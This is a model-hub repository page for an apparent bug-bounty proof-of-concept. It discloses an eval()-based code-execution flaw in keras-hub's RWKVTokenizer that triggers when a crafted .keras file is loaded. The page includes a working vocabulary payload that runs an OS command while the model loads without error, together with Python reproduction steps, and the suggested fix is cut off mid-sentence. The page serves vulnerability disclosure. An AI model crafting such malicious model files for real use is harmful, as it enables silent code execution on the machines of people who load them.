You can deploy this model and start earning money today!

Christauff/
rwkv7-keras-rce-poc

Name: rwkv7-keras-rce-poc
Availability: InStock

Views

No views yet

Huntr MFV PoC: RWKVTokenizer eval() RCE via .keras Deserialization

This is a proof-of-concept for a security vulnerability submission. Target bounty program: Huntr Model File Vulnerability

Vulnerability Summary

Title: Arbitrary Code Execution via eval() in keras_hub.tokenizers.RWKVTokenizer deserialized from .keras model file under safe_mode=True

Affected: keras-hub v0.27.1 (commit e8094ef, 2026-04-08) File: keras_hub/src/models/rwkv7/rwkv7_tokenizer.py:117,275 Severity: High (CVSS 8.8)

Root Cause

RWKVTokenizer.set_vocabulary() calls eval() on each vocabulary entry:

python

# Line 275 — keras_hub/src/models/rwkv7/rwkv7_tokenizer.py
repr_str = eval(line[line.index(" ") : line.rindex(" ")])

The vocabulary field is part of get_config() output and therefore embedded in .keras config.json files. When a malicious .keras file is loaded via keras.models.load_model() or keras.src.saving.serialization_lib.deserialize_keras_object(), the attacker-controlled vocabulary triggers eval() under default safe_mode=True.

Attack Vector

Attacker crafts a .keras file with malicious vocabulary entries
Victim loads the file: keras.models.load_model("malicious.keras")
RWKVTokenizer is deserialized via keras_hub>RWKVTokenizer registered name
eval() executes attacker-controlled Python expression
OS command runs silently — model loads successfully with no exception

PoC File

rwkv7_poc_FINAL.keras in this repository is the proof-of-concept.

Vocabulary payload (inside config.json):

0 (__import__('os').system('id > /tmp/keras_rce_poc.txt'), b'\x00')[-1] 1

This payload:

Calls os.system('id > /tmp/keras_rce_poc.txt') — runs the id command
Returns b'\x00' (valid bytes) so all asserts pass
Model loads with no exception — stealth attack

Reproduction Steps

bash

pip install keras keras-hub sentencepiece tokenizers

python3 - <<'EOF'
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
from keras.src.saving import serialization_lib
import keras_hub  # registers keras_hub classes

import zipfile, json
# Download poc file from this repo and load it
with zipfile.ZipFile("rwkv7_poc_FINAL.keras") as z:
    config = json.loads(z.read("config.json"))

obj = serialization_lib.deserialize_keras_object(config)
print("Loaded:", type(obj).__name__)  # RWKVTokenizer

# Verify RCE occurred
if os.path.exists("/tmp/keras_rce_poc.txt"):
    print("RCE CONFIRMED:", open("/tmp/keras_rce_poc.txt").read().strip())
EOF

Expected Output

Loaded: RWKVTokenizer
RCE CONFIRMED: uid=1002(pai) gid=1006(pai) groups=1006(pai),...

Impact

Primary: Arbitrary code execution on any system that loads the malicious .keras file
Vector: Malicious .keras file distributed via HuggingFace Model Hub
Affected scope: Any user of keras + keras-hub who loads a model containing RWKVTokenizer
Stealth: No exception raised — the model appears to load correctly

CVE References

CVE-2025-9906 (JFrog): Identical pattern — keras.utils.get_file reachable via .keras deserialization. Fix: added to LOADING_APIS blocklist. Same mechanism, different gadget.
CVE-2025-49655: TorchModuleWrapper torch.load() via .keras deserialization. Fix: added safe_mode check to from_config.
CVE-2025-1550: keras_hub.layers.TFSMLayer tf.saved_model.load() via .keras deserialization. Fix: safe_mode check in from_config.

This finding follows the same pattern as all three CVEs. RWKVTokenizer was added in commit e8094ef (2026-04-08) without the hardening applied to the above classes.

Suggested Fix

Replace eval() with ast.literal_eval() at rwkv7_tokenizer.py:117,275, and add a from_config override with safe_mode check to RWKVTokenizer: